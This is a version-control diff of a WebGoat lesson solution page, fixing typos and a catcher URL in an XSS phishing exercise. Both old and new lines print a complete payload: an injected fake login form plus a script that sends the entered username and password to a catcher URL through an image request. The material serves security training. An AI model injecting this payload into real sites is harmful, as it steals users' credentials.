fixed URL, typos
git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@418 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
parent
26a90ec2be
commit
39d99eb5d7
@ -18,17 +18,17 @@ hard for a victim to determinate that the content is malicious.
|
|||||||
<p><b>General Goal(s):</b><br/>
|
<p><b>General Goal(s):</b><br/>
|
||||||
The user should be able to add a form asking for username
|
The user should be able to add a form asking for username
|
||||||
and password. On submit the input should be sent to
|
and password. On submit the input should be sent to
|
||||||
http://localhostcatcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordName
|
http://localhost/webgoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordName
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<b>Solution:</b><br/>
|
<b>Solution:</b><br/>
|
||||||
With XSS it is possible to add further elements to an exsisting Page.
|
With XSS it is possible to add further elements to an existing Page.
|
||||||
This solution consists of two parts you have to combine:
|
This solution consists of two parts you have to combine:
|
||||||
<ul>
|
<ul>
|
||||||
<li>A form the victim has to fill in</li>
|
<li>A form the victim has to fill in</li>
|
||||||
<li>A script which reads the form and sends the gathered information to the attacker</li>
|
<li>A script which reads the form and sends the gathered information to the attacker</li>
|
||||||
</ul>
|
</ul>
|
||||||
A Form whith username and password could look like this:<br/>
|
A Form with username and password could look like this:<br/>
|
||||||
<p>
|
<p>
|
||||||
<form><br><br><HR><H3>This feature requires account login:</H3
|
<form><br><br><HR><H3>This feature requires account login:</H3
|
||||||
><br><br>Enter Username:<br><input type="text" id="user"
|
><br><br>Enter Username:<br><input type="text" id="user"
|
||||||
@ -40,19 +40,19 @@ Now you need a script:
|
|||||||
<p>
|
<p>
|
||||||
<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
|
<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
|
||||||
User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
|
User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
|
||||||
XSSImage=new Image; XSSImage.src="http://localhostcatcher?PROPERTY=yes&user="+
|
XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+
|
||||||
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}
|
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}
|
||||||
</script>
|
</script>
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
This script will read the input from the form and send it to the catcher of WebGoat.<br/><br/>
|
This script will read the input from the form and send it to the catcher of WebGoat.<br/><br/>
|
||||||
The last step is to put things together. Add a Button to the form which
|
The last step is to put things together. Add a Button to the form which
|
||||||
calls the script. You can reach this wicht the onclick="myFunction" handler.
|
calls the script. You can reach this with the onclick="myFunction" handler.
|
||||||
<p>
|
<p>
|
||||||
The final String looks like this:<br/>
|
The final String looks like this:<br/>
|
||||||
<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen.
|
<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen.
|
||||||
User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
|
User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
|
||||||
XSSImage=new Image; XSSImage.src="http://localhostcatcher?PROPERTY=yes&user="+
|
XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+
|
||||||
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}
|
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}
|
||||||
</script><form><br><br><HR><H3>This feature requires account login:</H3
|
</script><form><br><br><HR><H3>This feature requires account login:</H3
|
||||||
><br><br>Enter Username:<br><input type="text" id="user"
|
><br><br>Enter Username:<br><input type="text" id="user"
|
||||||
|
Loading…
x
Reference in New Issue
Block a user